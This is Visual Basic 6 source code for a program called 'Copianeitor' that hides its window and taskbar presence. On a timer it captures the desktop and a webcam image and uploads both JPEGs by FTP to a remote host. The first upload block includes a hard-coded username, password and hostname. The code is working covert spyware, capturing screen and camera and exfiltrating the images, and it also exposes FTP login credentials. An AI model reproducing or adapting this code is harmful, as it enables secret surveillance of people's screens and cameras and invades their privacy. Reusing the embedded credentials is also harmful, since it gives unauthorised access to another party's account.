Copianeitor

Option Explicit
Dim numero As Integer
Dim ruta As String
Dim ret As Long
Dim hCap As Long


Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long


Private Declare Function DIWriteJpg Lib "DIjpg.dll" (ByVal DestPath As String, ByVal quality As Long, ByVal progressive As Long) As Long



Private Declare Function GetActiveWindow Lib "user32" () As Long
Private Declare Function GetTopWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetClientRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hDC As Long) As Long
Private Type RECT
        Left As Long
        Top As Long
        Right As Long
        Bottom As Long
End Type
Private Type BITMAP
        bmType As Long
        bmWidth As Long
        bmHeight As Long
        bmWidthBytes As Long
        bmPlanes As Integer
        bmBitsPixel As Integer
        bmBits As Long
End Type

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Const GWL_EXSTYLE = (-20)
Private Const WS_CAPTION = &HC00000
Private Const WS_EX_APPWINDOW = &H40000

Private Const SWP_FRAMECHANGED = &H20
Private Const SWP_NOMOVE = &H2
Private Const SWP_NOSIZE = &H1
Private Const SWP_NOZORDER = &H4

Const SW_HIDE = 0
Const SW_SHOW = 5

Private Sub FormShowInTaskBar(Handle As Long, new_value As Boolean)

Dim style As Long
style = GetWindowLong(Handle, GWL_EXSTYLE)

If new_value Then
 style = style Or WS_EX_APPWINDOW
Else
 style = style And Not WS_EX_APPWINDOW
End If

ShowWindow Handle, SW_HIDE
SetWindowLong Handle, GWL_EXSTYLE, style
ShowWindow Handle, SW_SHOW
SetWindowPos Handle, 0, 0, 0, 0, 0, SWP_FRAMECHANGED Or SWP_NOMOVE Or SWP_NOSIZE Or SWP_NOZORDER
End Sub


Private Sub GetShot(lWindowhWnd As Long)
    Dim nLeft As Long
    Dim nTop As Long
    Dim nWidth As Long
    Dim nHeight As Long
    Dim rRect As RECT
    Dim bm As BITMAP
    Dim lWindowhDC As Long

    Hide
    picScreen.Cls
    Set picScreen.Picture = Nothing
    GetWindowRect lWindowhWnd, rRect
    lWindowhDC = GetWindowDC(lWindowhWnd)
    '// Get coordinates
    nLeft = 0
    nTop = 0
    nWidth = rRect.Right - rRect.Left
    nHeight = rRect.Bottom - rRect.Top
    '// Blt to frm.picScreen
    BitBlt picScreen.hDC, 0, 0, nWidth, nHeight, lWindowhDC, nLeft, nTop, vbSrcCopy
    '// Del DC
    ReleaseDC lWindowhWnd, lWindowhDC
    '// set picture
    picScreen.Picture = picScreen.Image
    Show
End Sub

Private Sub Form_Load()
Me.Hide
App.TaskVisible = False

FormShowInTaskBar Me.hwnd, True

picScreen.Width = Screen.Width
picScreen.Height = Screen.Height
'Form1.Visible = False
   hCap = capCreateCaptureWindow("Take a Camera Shot", WS_CHILD Or WS_VISIBLE, 0, 0, PicWebCam.Width, PicWebCam.Height, PicWebCam.hwnd, 0)
    If hCap <> 0 Then
        Call SendMessage(hCap, WM_CAP_DRIVER_CONNECT, 0, 0)
        Call SendMessage(hCap, WM_CAP_SET_PREVIEWRATE, 66, 0&)
        Call SendMessage(hCap, WM_CAP_SET_PREVIEW, CLng(True), 0&)
    End If

End Sub

Private Sub Timer1_Timer()
Form1.Visible = False
GetShot GetDesktopWindow
numero = numero + 1
ruta = App.Path + "\alfa.jpg"






 'Dim pic As StdPicture
  'Const sizeX As Integer = 100, sizeY As Integer = 100
 'Set pic = picScreen.Picture
  ' With Picture1
   '   .Width = (sizeX * Screen.TwipsPerPixelX) + .Width - .ScaleX(.ScaleWidth, .ScaleMode, vbTwips)
    '  .Height = (sizeY * Screen.TwipsPerPixelY) + .Height - .ScaleY(.ScaleHeight, .ScaleMode, vbTwips)
     ' .AutoRedraw = True
      '.Cls
      'Call .PaintPicture(pic, 0, 0, .ScaleWidth, .ScaleHeight)
      '.AutoRedraw = False
      'Call SavePicture(.Image, ruta)
   'End With
   SavePicture picScreen.Image, "c:\tmp.bmp"
   ret = DIWriteJpg(ruta, 20, 1)
   Kill ("c:\tmp.bmp")

    Call SendMessage(hCap, WM_CAP_SET_PREVIEW, CLng(False), 0&)
    ruta = App.Path + "\alfa2.jpg"
    Call SendMessage(hCap, WM_CAP_FILE_SAVEDIB, 0&, ByVal CStr(ruta))
    Call SendMessage(hCap, WM_CAP_SET_PREVIEW, CLng(True), 0&)
  ' Form1.Visible = False
   'Form1.WindowState = 1

   PicWebCam.Picture = LoadPicture(ruta)
    SavePicture PicWebCam.Image, "c:\tmp.bmp"
   ret = DIWriteJpg(ruta, 20, 1)
   Kill ("c:\tmp.bmp")


   Dim LocalPath As String
 Dim RemotePath As String

 ruta = App.Path + "\alfa.jpg"
 LocalPath = Chr(34) & ruta & Chr(34)
 RemotePath = Chr(34) & "/public_html/prueba.jpg" & Chr(34)

 With Inet1
   .AccessType = icDirect
   .Protocol = icFTP

   .UserName = "a3182864"
   .Password = "emaker2015"
   .RemoteHost = "espaciomakerungs.site90.com"

   .Execute .URL, "PUT " & LocalPath & " " & RemotePath

   While .StillExecuting
     DoEvents
   Wend

   .Execute , "CLOSE"
 End With

 ruta = App.Path + "\alfa2.jpg"

  LocalPath = Chr(34) & ruta & Chr(34)
 RemotePath = Chr(34) & "/public_html/prueba2.jpg" & Chr(34)

  With Inet1
   .AccessType = icDirect
   .Protocol = icFTP

   .UserName = "-----"
   .Password = "---------"
   .RemoteHost = "-------------------"

   .Execute .URL, "PUT " & LocalPath & " " & RemotePath

   While .StillExecuting
     DoEvents
   Wend

   .Execute , "CLOSE"
 End With
End Sub


''''''MODULO''''''''''''''''''
Public Const WS_CHILD As Long = &H40000000
Public Const WS_VISIBLE As Long = &H10000000


Public Const WM_USER As Long = &H400
Public Const WM_CAP_START As Long = WM_USER



Public Const WM_CAP_DRIVER_CONNECT As Long = WM_CAP_START + 10
Public Const WM_CAP_DRIVER_DISCONNECT As Long = WM_CAP_START + 11
Public Const WM_CAP_SET_PREVIEW As Long = WM_CAP_START + 50
Public Const WM_CAP_SET_PREVIEWRATE As Long = WM_CAP_START + 52
Public Const WM_CAP_DLG_VIDEOFORMAT As Long = WM_CAP_START + 41
Public Const WM_CAP_FILE_SAVEDIB As Long = WM_CAP_START + 25







Public Declare Function capCreateCaptureWindow _
    Lib "avicap32.dll" Alias "capCreateCaptureWindowA" _
         (ByVal lpszWindowName As String, ByVal dwStyle As Long _
        , ByVal x As Long, ByVal y As Long, ByVal nWidth As Long _
        , ByVal nHeight As Long, ByVal hwndParent As Long _
        , ByVal nID As Long) As Long







Public Declare Function SendMessage Lib "user32" _
    Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long _
        , ByVal wParam As Long, ByRef lParam As Any) As Long